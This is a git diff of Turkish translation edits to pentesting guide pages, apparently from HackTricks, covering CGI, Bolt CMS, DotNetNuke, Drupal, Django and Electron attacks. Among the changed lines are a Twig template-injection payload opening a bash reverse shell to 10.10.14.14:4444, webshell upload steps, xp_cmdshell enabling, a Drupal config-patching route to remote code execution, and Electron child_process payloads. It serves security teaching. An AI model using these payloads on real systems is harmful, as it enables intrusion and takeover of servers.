isteğin çoğu süreci tamamlanmış olacaktır. Ancak, **`Location` başlığını istismar ederek isteği yeniden başlatmak** mümkündür; çünkü eğer **dönülen `Status` 200 ise ve `Location` başlığı `/` ile başlıyorsa, yanıt Sunucu Tarafı Yönlendirmesi olarak işlenir ve işlenmelidir. [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (CGI hakkında spesifikasyon) [Bölüm 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)'de Yerel Yönlendirme Yanıtı davranışını tanımlar: -> CGI scripti, bir Yerel kaynak için bir Yerel URI yolu ve sorgu dizisi ('local-pathquery') döndürebilir. Bu, sunucuya belirtilen yolu kullanarak isteği yeniden işlemesi gerektiğini gösterir. +> CGI script'i, bir Yerel kaynak için bir URI yolu ve sorgu dizisi ('local-pathquery') döndürebilir. Bu, sunucuya belirtilen yolu kullanarak isteği yeniden işlemesi gerektiğini gösterir. Bu nedenle, bu saldırıyı gerçekleştirmek için aşağıdaki zafiyetlerden birine ihtiyaç vardır: @@ -190,7 +190,7 @@ Bu nedenle, bu saldırıyı gerçekleştirmek için aşağıdaki zafiyetlerden b #### **Rastgele Handler ile Bilgi Sızıntısı** -Örneğin `/server-status` yalnızca yerel olarak erişilebilir olmalıdır: +Örneğin, `/server-status` yalnızca yerel olarak erişilebilir olmalıdır: ```xml SetHandler server-status diff --git a/src/network-services-pentesting/pentesting-web/bolt-cms.md b/src/network-services-pentesting/pentesting-web/bolt-cms.md index 409ab7a02..d099ad614 100644 --- a/src/network-services-pentesting/pentesting-web/bolt-cms.md +++ b/src/network-services-pentesting/pentesting-web/bolt-cms.md @@ -6,20 +6,20 @@ Admin olarak giriş yaptıktan sonra (giriş istemine erişmek için /bot adresine gidin), Bolt CMS'de RCE alabilirsiniz: -- `Configuration` -> `View Configuration` -> `Main Configuration` seçin veya URL yoluna `/bolt/file-edit/config?file=/bolt/config.yaml` gidin +- `Configuration` -> `View Configuration` -> `Main Configuration` seçeneğini seçin veya URL yoluna `/bolt/file-edit/config?file=/bolt/config.yaml` gidin - Tema değerini kontrol edin
-- `File management` -> `View & edit templates` seçin -- Önceki adımda bulunan tema tabanını seçin (`base-2021` bu durumda) ve `index.twig` seçin +- `File management` -> `View & edit templates` seçeneğini seçin +- Önceki adımda bulunan tema tabanını seçin (`base-2021` bu durumda) ve `index.twig` seçeneğini seçin - Benim durumumda bu URL yolunda /bolt/file-edit/themes?file=/base-2021/index.twig - Bu dosyada [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php) ile yüklemenizi ayarlayın, örneğin: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` - Ve değişiklikleri kaydedin
-- `Maintenance` -> `Clear the cache` bölümünde önbelleği temizleyin +- `Maintenance` -> `Clear the cache` seçeneği ile önbelleği temizleyin - Sayfaya tekrar normal bir kullanıcı olarak erişin ve yükleme çalıştırılmalıdır {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 29595d3c0..5daa6870b 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -2,11 +2,12 @@ # Bilgi -**CGI betikleri perl betikleridir**, bu nedenle _**.cgi**_ betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl ters kabuğu** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) **yükleyebilir**, uzantıyı **.pl**'den **.cgi**'ye **değiştirebilir**, **çalıştırma izinleri** verebilir \(`chmod +x`\) ve **ters kabuğa** **web tarayıcısından** erişerek çalıştırabilirsiniz. **CGI zafiyetlerini** test etmek için `nikto -C all` \(ve tüm eklentileri\) kullanmanız önerilir. +**CGI betikleri perl betikleridir**, bu nedenle _**.cgi**_ betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl ters kabuğu** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) **yükleyebilir**, uzantıyı **.pl**'den **.cgi**'ye **değiştirebilir**, **çalıştırma izinleri** verebilir \(`chmod +x`\) ve **web tarayıcısından** ters kabuğa **erişebilirsiniz**. +**CGI zafiyetlerini** test etmek için `nikto -C all` \(ve tüm eklentileri\) kullanmanız önerilir. # **ShellShock** -**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **zafiyettir**. Bu, Bash'in uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin bir bilgisayarda nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **çevre değişkenlerinin** manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **kötü niyetli kod** ekleyerek bunu istismar edebilir ve değişken alındığında bu kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak tehlikeye atmasına olanak tanır. +**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **zafiyettir**. Bu, Bash'ın uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin bir bilgisayarda nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **çevre değişkenlerinin** manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **kötü niyetli kod** ekleyerek bunu istismar edebilir ve değişken alındığında bu kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak tehlikeye atmasına olanak tanır. Bu zafiyeti istismar ederek **sayfa bir hata verebilir**. @@ -14,7 +15,7 @@ Bu zafiyeti, **eski bir Apache sürümü** ve **cgi_mod** \(cgi klasörü ile\) ## **Test** -Çoğu test, bir şeyi yankılamak ve o dizenin web yanıtında döneceğini beklemek üzerine kuruludur. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve test edin. +Çoğu test, bir şeyi yankılamak ve o dizenin web yanıtında döndürülmesini beklemek üzerine kuruludur. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve test edin. **Nmap** ```bash diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md index 4e0aaa7f0..c5286e074 100644 --- a/src/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md @@ -38,7 +38,7 @@ Ayrıca bulguları VSCode içinde almak için [**semgrep VSCode Extension**](htt ### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/) -Yüklenebilir **ücretsiz bir sürüm** vardır. +Yüklenebilir bir **ücretsiz sürüm** bulunmaktadır. #### Hızlı Başlangıç ```bash @@ -60,7 +60,7 @@ sonar-scanner \ ``` ### CodeQL -Kurulabilir bir **ücretsiz sürüm** vardır, ancak lisansa göre **ücretsiz codeQL sürümünü yalnızca Açık Kaynak projelerinde kullanabilirsiniz**. +Kurulabilir bir **ücretsiz sürüm** vardır, ancak lisansa göre **sadece ücretsiz codeQL sürümünü Açık Kaynak projelerinde kullanabilirsiniz**. #### Kurulum ```bash @@ -203,7 +203,7 @@ Ayrıca [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?i ### [Insider](https://github.com/insidersec/insider) -**Açık Kaynak**, ancak **bakım yapılmıyor** gibi görünüyor. +**Açık Kaynak**tır, ancak **bakım yapılmıyor** gibi görünüyor. #### Desteklenen Diller @@ -366,14 +366,14 @@ https://github.com/securego/gosec 1. .map dosyalarını bulun ve kullanın: - Eğer .map dosyaları açığa çıkmışsa, bunlar kolayca deobfuscate etmek için kullanılabilir. - Genellikle, foo.js.map foo.js ile eşleşir. Manuel olarak arayın. -- Bunları bulmak için [JS Miner](https://github.com/PortSwigger/js-miner) kullanın. -- Aktif bir tarama yapıldığından emin olun. -- '[İpuçları/Notlar](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'ı okuyun. +- [JS Miner](https://github.com/PortSwigger/js-miner) kullanarak bunları arayın. +- Aktif taramanın yapıldığından emin olun. +- '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' bölümünü okuyun. - Bulunduğunda, deobfuscate etmek için [Maximize](https://www.npmjs.com/package/maximize) kullanın. 2. .map dosyaları olmadan, JSnice deneyin: - Referanslar: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice) - İpuçları: -- jsnice.org kullanıyorsanız, "Nicify JavaScript" butonunun yanındaki seçenekler butonuna tıklayın ve kodu yorumlarla karıştırmamak için "Infer types" seçeneğini kaldırın. +- jsnice.org kullanıyorsanız, "Nicify JavaScript" butonunun yanındaki seçenekler butonuna tıklayın ve "Infer types" seçeneğini kaldırarak kodu yorumlarla karıştırmamaya dikkat edin. - Scriptin önünde boş satır bırakmadığınızdan emin olun, çünkü bu deobfuscate sürecini etkileyebilir ve yanlış sonuçlar verebilir. 3. JSNice için daha modern alternatifler arıyorsanız, aşağıdakilere göz atabilirsiniz: @@ -382,14 +382,14 @@ https://github.com/securego/gosec - [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack) - > obfuscator.io'yu deobfuscate et, unminify et ve paketlenmiş javascript'i unpack et - [https://github.com/jehna/humanify](https://github.com/jehna/humanify) -- > ChatGPT kullanarak Javascript kodunu un-minify et Bu araç, Javascript kodunu un-minify etmek için büyük dil modelleri (ChatGPT & llama2 gibi) ve diğer araçları kullanır. LLM'lerin yapısal değişiklikler yapmadığını unutmayın - yalnızca değişkenleri ve fonksiyonları yeniden adlandırmak için ipuçları sağlar. Ağır iş, kodun 1-1 eşdeğer kalmasını sağlamak için AST seviyesinde Babel tarafından yapılır. +- > ChatGPT kullanarak Javascript kodunu un-minify et Bu araç, Javascript kodunu un-minify etmek için büyük dil modelleri (ChatGPT & llama2 gibi) ve diğer araçları kullanır. LLM'lerin herhangi bir yapısal değişiklik yapmadığını unutmayın - yalnızca değişkenleri ve fonksiyonları yeniden adlandırmak için ipuçları sağlar. Ağır iş, kodun 1-1 eşdeğer kalmasını sağlamak için Babel tarafından AST seviyesinde yapılır. - [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html) - > JavaScript değişken adı minifikasyonunu tersine çevirmek için LLM'leri kullanma 3. `console.log()` kullanın; -- Sonunda dönen değeri bulun ve `console.log();` olarak değiştirin, böylece deobfuscated js çalıştırılmak yerine yazdırılır. -- Ardından, değiştirilmiş (ve hala obfuscated) js'i [https://jsconsole.com/](https://jsconsole.com/) içine yapıştırın, böylece deobfuscated js konsola yazdırılır. -- Son olarak, deobfuscated çıktıyı [https://prettier.io/playground/](https://prettier.io/playground/) içine yapıştırarak analiz için güzelleştirin. +- Sonunda dönen değeri bulun ve `console.log();` olarak değiştirin, böylece deobfuscate edilmiş js çalıştırılmak yerine yazdırılır. +- Ardından, değiştirilmiş (ve hala obfuscate edilmiş) js'i [https://jsconsole.com/](https://jsconsole.com/) sayfasına yapıştırarak deobfuscate edilmiş js'in konsola yazdırıldığını görün. +- Son olarak, deobfuscate edilmiş çıktıyı [https://prettier.io/playground/](https://prettier.io/playground/) sayfasına yapıştırarak analiz için güzelleştirin. - **Not**: Eğer hala paketlenmiş (ama farklı) js görüyorsanız, bu muhtemelen yine paketlenmiştir. Süreci tekrarlayın. #### Referanslar diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index ded667ad7..6ff167062 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,8 +1,8 @@ # Django -## Önbellek Manipülasyonu ile RCE +## Cache Manipulation to RCE Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişler unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) olduğunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı alttaki sunucuda RCE'ye yükseltebilir**. -Django önbelleği dört yerden birinde depolanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında depolanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu bilgilerinin uygulamaya göre değişeceğini belirtmek önemlidir. +Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu detaylarının uygulamaya göre değişeceğini belirtmek önemlidir. -Bu HackerOne raporu, SQLite veritabanında depolanan Django önbelleğini istismar etmenin harika, tekrarlanabilir bir örneğini sunmaktadır: https://hackerone.com/reports/1415436 +Bu HackerOne raporu, SQLite veritabanında saklanan Django önbelleğini istismar etmenin harika, tekrarlanabilir bir örneğini sunmaktadır: https://hackerone.com/reports/1415436 diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 80400ba0a..6d9e5fba5 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -10,7 +10,7 @@ DNN'ye **yönetici** olarak girdiğinizde RCE elde etmek kolaydır. ### SQL Üzerinden -**`Settings`** sayfasında **`xp_cmdshell`**'i etkinleştirebileceğiniz ve **işletim sistemi komutları** çalıştırabileceğiniz bir SQL konsolu erişilebilir. +**`Settings`** sayfasında **`xp_cmdshell`**'i etkinleştirebileceğiniz bir SQL konsolu mevcuttur ve **işletim sistemi komutları çalıştırabilirsiniz**. **`xp_cmdshell`**'i etkinleştirmek için bu satırları kullanın: ```sql @@ -31,7 +31,7 @@ xp_cmdshell 'whoami' **`asp`** veya **`aspx`** ekleyin ve ardından **`/admin/file-management`** altında örneğin `shell.asp` adında bir **asp webshell** yükleyin. -Sonra **`/Portals/0/shell.asp`** adresine erişerek webshell'inize ulaşın. +Sonra **`/Portals/0/shell.asp`** adresine erişerek webshell'inize ulaşabilirsiniz. ### Yetki Yükseltme diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index 08bed94b2..eeb480a96 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -31,18 +31,18 @@ Drupal 7.57, 2018-02-21 Drupal varsayılan olarak **üç tür kullanıcı** destekler: 1. **`Yönetici`**: Bu kullanıcı, Drupal web sitesinin tam kontrolüne sahiptir. -2. **`Kimlik Doğrulanmış Kullanıcı`**: Bu kullanıcılar web sitesine giriş yapabilir ve izinlerine bağlı olarak makaleleri ekleyip düzenleyebilir. +2. **`Kimlik Doğrulanmış Kullanıcı`**: Bu kullanıcılar web sitesine giriş yapabilir ve izinlerine bağlı olarak makaleleri ekleyip düzenleyebilirler. 3. **`Anonim`**: Tüm web sitesi ziyaretçileri anonim olarak tanımlanır. Varsayılan olarak, bu kullanıcıların yalnızca gönderileri okumasına izin verilir. -**Kullanıcıları numaralandırmak için şunları yapabilirsiniz:** +**Kullanıcıları numaralandırmak için:** -- **Kullanıcı sayısını alın:** Sadece `/user/1`, `/user/2`, `/user/3`... erişin, ta ki kullanıcı mevcut değil hatası alana kadar. -- **Kayıt**: `/user/register` erişin ve bir kullanıcı adı oluşturmaya çalışın, eğer isim zaten alınmışsa bu sunucudan bir hata ile belirtilecektir. -- **Şifreyi sıfırlama**: Bir kullanıcının şifresini sıfırlamaya çalışın ve eğer kullanıcı mevcut değilse bu açıkça bir hata mesajında belirtilecektir. +- **Kullanıcı sayısını al:** Sadece `/user/1`, `/user/2`, `/user/3`... erişin, hata döndüğünde kullanıcının mevcut olmadığını belirtir. +- **Kayıt**: `/user/register` erişin ve bir kullanıcı adı oluşturmaya çalışın, eğer isim zaten alınmışsa sunucudan bir hata ile belirtilecektir. +- **Şifreyi sıfırla**: Bir kullanıcının şifresini sıfırlamaya çalışın, eğer kullanıcı mevcut değilse bu açıkça bir hata mesajında belirtilecektir. ### Gizli sayfalar -Sadece **`/node/FUZZ`** kısmına bakarak yeni sayfalar bulun, burada **`FUZZ`** bir sayıdır (örneğin 1'den 1000'e kadar). +Yeni sayfaları bulmak için **`/node/FUZZ`** adresine bakın, burada **`FUZZ`** bir sayıdır (örneğin 1'den 1000'e kadar). ### Yüklenmiş modüller bilgisi ```bash @@ -66,9 +66,9 @@ Drupal web konsoluna erişiminiz varsa, RCE almak için bu seçenekleri kontrol drupal-rce.md {{#endref}} -## XSS'ten RCE'ye +## XSS'den RCE'ye -- [**Drupalwned**](https://github.com/nowak0x01/Drupalwned): XSS'i RCE veya Diğer Kritik Güvenlik Açıklarına **yükselten** Drupal Sömürü Scripti. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **Drupal Sürümleri 7.X.X, 8.X.X, 9.X.X ve 10.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** +- [**Drupalwned**](https://github.com/nowak0x01/Drupalwned): **XSS'i RCE veya Diğer Kritik Güvenlik Açıklarına Yükselten** Drupal Sömürü Scripti. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **Drupal Sürümleri 7.X.X, 8.X.X, 9.X.X ve 10.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** - _**Yetki Yükseltme:**_ Drupal'da bir yönetici kullanıcısı oluşturur. - _**(RCE) Şablon Yükle:**_ Drupal'a arka kapılı özel şablonlar yükler. diff --git a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index 7655475c6..bb7a32bba 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -19,13 +19,13 @@ curl http://drupal.local/node/3 > [!WARNING] > Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimine sahip olarak eklentileri kurmak artık mümkün değildir. -**8 ve sonrası sürümlerde,** [**PHP Filtre**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak kurulmamıştır**. Bu işlevselliği kullanmak için **modülü kendimiz kurmamız gerekecek**. +**8 ve sonrası sürümlerde,** [**PHP Filtre**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak kurulu değildir**. Bu işlevselliği kullanmak için **modülü kendimiz kurmamız gerekecek**. -1. Modülün en son sürümünü Drupal web sitesinden indirin. +1. Drupal web sitesinden modülün en son sürümünü indirin. 1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz` 2. İndirdikten sonra **`Yönetim`** > **`Raporlar`** > **`Mevcut güncellemeler`** bölümüne gidin. 3. **`Gözat`** butonuna tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardından **`Kur`** butonuna tıklayın. -4. Modül kurulduktan sonra, **`İçerik`** sekmesine tıklayıp **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin formatı`** açılır menüsünden **`PHP kodu`** seçmeyi unutmayın. +4. Modül kurulduktan sonra, **`İçerik`** sekmesine tıklayıp **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin biçimi`** açılır menüsünden **`PHP kodu`** seçmeyi unutmayın. ## Arka Kapılı Modül @@ -65,7 +65,7 @@ Drupal konfigürasyon girişlerini dökme (ihracat) ve yükleme (ithalat) için **Patch system.file.yml** -İlk giriş `allow_insecure_uploads`'ı yamanlamaya başlayalım: +İlk giriş `allow_insecure_uploads`'ı yamanlayarak başlayalım: Dosya: system.file.yml ``` @@ -93,9 +93,9 @@ allow_insecure_uploads: true ```
-**Yaman alan.field.media.document.field_media_document.yml** +**Yamanla field.field.media.document.field_media_document.yml** -Ardından, ikinci girişi `file_extensions` olarak yaman: +Ardından, ikinci girişi `file_extensions` olarak yamanlayın: Dosya: field.field.media.document.field_media_document.yml ``` @@ -121,13 +121,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od ... ``` -> Bu blog yazısında kullanmıyorum ama `file_directory` girişinin keyfi bir şekilde tanımlanabileceği ve bir yol geçişi saldırısına karşı savunmasız olduğu not edilmiştir (bu nedenle Drupal dosya sistemi ağacında yukarı geri gidebiliriz). +> Bu blog yazısında kullanmıyorum ama `file_directory` girişinin keyfi bir şekilde tanımlanabileceği ve bir yol geçişi saldırısına karşı savunmasız olduğu not edilmiştir (bu nedenle Drupal dosya sistemi ağacında geri gidebiliriz).
### Bölüm 3 (özellik _Belge Ekle_ kullanma) -Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerini kullanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, payload'ımızı içeren bir .txt dosyası yüklemektir. +Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerini kullanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, yükleyeceğimiz yükü içeren bir .txt dosyasıdır. Dosya: .htaccess ``` @@ -153,7 +153,7 @@ Bu hile neden havalı? Webshell'imize neden LICENSE.txt adını veriyoruz? -Basitçe, örneğin [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) dosyasını alırsak (ki bu dosya Drupal çekirdeğinde zaten mevcut), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük). +Basitçe, örneğin [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) dosyasını alırsak (ki bu zaten Drupal çekirdeğinde mevcuttur), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).
@@ -222,6 +222,6 @@ Ve loglarda görebileceğiniz gibi, yalnızca bir txt dosyasının talep edildi
-Bu makaleyi okumak için zaman ayırdığınız için teşekkür ederim, umarım size bazı shell'ler elde etmenizde yardımcı olur. +Bu makaleyi okumak için zaman ayırdığınız için teşekkür ederim, umarım size bazı shell'ler elde etmenizde yardımcı olur. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 7e1763b8a..3e693dc61 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -41,7 +41,7 @@ Electron uygulaması, Node apileri aracılığıyla **cihazı erişebilir**, anc - **`preload`** - varsayılan olarak boştur. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar. - Workers'da Node Entegrasyonu -- **`nodeIntegrationInSubframes`** - varsayılan olarak `kapalıdır`. +- **`nodeIntegrationInSubframes`** - varsayılan olarak kapalıdır. - Eğer **`nodeIntegration`** **etkinse**, bu, Electron uygulaması içindeki iframe'lerde **yüklenen web sayfalarında** **Node.js API'lerinin** kullanılmasına izin verir. - Eğer **`nodeIntegration`** **devre dışı bırakılmışsa**, o zaman ön yüklemeler iframe içinde yüklenecektir. @@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app") ## RCE: preload -Bu ayarda belirtilen script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişime sahiptir**: +Bu ayarda belirtilen script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişimi vardır**: ```javascript new BrowserWindow{ webPreferences: { @@ -152,7 +152,7 @@ runCalc() ## RCE: XSS + contextIsolation -_**contextIsolation**_ , **web sayfası betikleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin diğerini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir. +_**contextIsolation**_ , **web sayfası scriptleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin diğerini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir. Eğer bağlamlar izole edilmemişse, bir saldırgan: @@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md ### Tıklama olayını atlatma -Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları **normal bir sol tıklama yerine orta tıklama yaparak** atlatabilirsiniz. +Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları **normal sol tıklama yerine orta tıklama yaparak** atlatabilirsiniz. ```javascript window.addEventListener('click', (e) => { ``` @@ -185,14 +185,14 @@ window.addEventListener('click', (e) => { Bu örnekler hakkında daha fazla bilgi için [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) adreslerine bakın. -Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellendiği belirlenmiştir. +Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellenir. Bir kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bu, bağlantının harici olarak açılması gerektiğini gösterir ve `shell.openExternal` fonksiyonu kullanılır. +Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır. **İşte basitleştirilmiş bir pseudocode:** @@ -200,7 +200,7 @@ Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığın ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriği kabul etmemeyi önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak, bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir. +Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriği kabul etmemeyi önerir, çünkü bu çeşitli protokoller 